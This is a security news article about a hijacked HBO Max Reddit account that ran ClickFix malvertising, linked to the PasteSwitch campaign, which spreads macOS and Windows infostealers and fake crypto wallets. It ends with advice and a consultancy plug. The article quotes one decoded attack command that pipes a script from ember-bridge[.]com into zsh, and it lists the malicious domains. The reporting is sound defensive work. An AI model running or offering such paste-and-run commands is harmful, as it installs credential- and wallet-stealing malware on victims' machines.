HBO Max Reddit account hijacked to push ClickFix malware

Cybercriminals took over the official HBO Max account on Reddit and used it to publish malicious advertisements that delivered information-stealing malware to Windows and macOS computers. Security researchers at Hudson Rock and ADAMnetworks analyzed the campaign and reported that the verified u/hbomax account was hijacked and used to launch 108 malicious ads over roughly 48 hours. The advertisements employed a social engineering technique known as ClickFix, in which victims are tricked into copying and pasting commands into built-in system tools such as Windows Run, PowerShell, or the macOS Terminal. The commands are presented as a way to fix an error, complete a CAPTCHA, or install legitimate software, but they actually run attacker-controlled code that downloads and executes malware.

The ClickFix tactic has become more common because the target performs the harmful action voluntarily using tools that are part of the operating system. This can bypass some browser protections and security software that focus on detecting malicious downloads, since no malicious file is delivered until after the command runs and fetches the payload from a remote server. In this incident, some of the ads posed as promotions for the HBO Max streaming service, while others advertised fake artificial intelligence tools, developer software, and macOS utilities. Hudson Rock and ADAMnetworks connected the activity to a wider operation they call PasteSwitch, which targets both Windows and macOS machines and has been used to distribute information stealers, loaders, cryptocurrency clippers, and counterfeit cryptocurrency wallet applications. The name PasteSwitch refers to the way victims paste attacker-supplied commands into their systems, while the backend infrastructure switches between campaigns, platforms, payloads, and crypto theft methods depending on the visitor.

The campaign was first noticed when a Reddit user spotted an advertisement that appeared to come from the verified HBO Max account and promoted what looked like a native HBO Max application for macOS. The user described seeing u/hbomax as the author of the ad and being interested because the account had posted many times in official HBO Max subreddits. After clicking the advertisement, visitors were redirected to a convincing fake HBO Max website, including one at hbomaxx[.]us, that claimed to offer the app for download. However, pressing the download button did not provide an installer. Instead, the site displayed instructions telling visitors to open the macOS Terminal and paste a command to install the software. BleepingComputer examined one of the macOS commands, which used Base64 encoding to hide its real content. After decoding, the command was: export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh. Hudson Rock identified ember-bridge[.]com as infrastructure used in September for malware delivery in the PasteSwitch operation.

On macOS, the attack delivered a malware family named MacSync, which Hudson Rock says steals saved browser credentials, Firefox profiles, Telegram data, Apple Notes, and macOS passwords. A second infection chain used a component called AMOS helper, which establishes persistence by creating a directory named .com.apple.accountsd. Once in place, the malware can enroll the infected system with attacker-controlled servers to receive additional tasks. The same advertising campaign also distributed fake Ledger, Trezor Suite, and Exodus cryptocurrency wallet applications intended to steal victims' wallet recovery phrases, which are the secret words that restore access to a crypto wallet. On Windows, PasteSwitch showed instructions that led victims to execute commands with mshta and PowerShell. Hudson Rock described one Windows attack chain that used an MP3/HTA polyglot file to create a scheduled task, launch 32-bit PowerShell, disable Microsoft's Antimalware Scan Interface, and generate victim-specific infrastructure based on the computer name and username. Later stages relied on obfuscated PowerShell and shellcode to load a stealer called Amatera directly into memory, without saving the final payload to disk.

The HBO Max advertisement was part of a much larger advertising campaign operated through the compromised Reddit account. Researchers identified 40 ads pointing to hbomaxx[.]app, 36 promoting the fake AI and developer site codex-craft[.]com, 15 promoting apple.clean-disk-guide[.]com, 11 pointing to code-desktop[.]com, and six promoting hbomax-macos[.]com. This allowed the criminals to target far more than HBO Max users, reaching developers and people searching for AI software and system utilities as well. After the malicious advertisements were reported, a Reddit administrator paused them and reported them to Reddit's Security and Safety teams. It remains unclear how the attackers gained access to the HBO Max Reddit account or whether any other HBO or Warner Bros. Discovery accounts or systems were affected. BleepingComputer contacted HBO and Warner Bros. Discovery with questions about the incident but had not received a response.

For website owners, businesses, and everyday internet users, this incident is a reminder that a verified badge or a familiar brand name does not make an online advertisement or download link safe. ClickFix attacks are especially dangerous because they ask the victim to run a command manually, which places the action outside the normal file-scanning path used by many endpoint protections. The strongest defence is to never paste a command from a website into Terminal, PowerShell, or the Run dialog unless you understand exactly what it does and have confirmed the source independently. Working with a security-focused infrastructure and consulting partner such as AEU-I can help businesses review endpoint and network controls against paste-and-run attacks, but no technical service replaces the need for user awareness and verification before executing commands.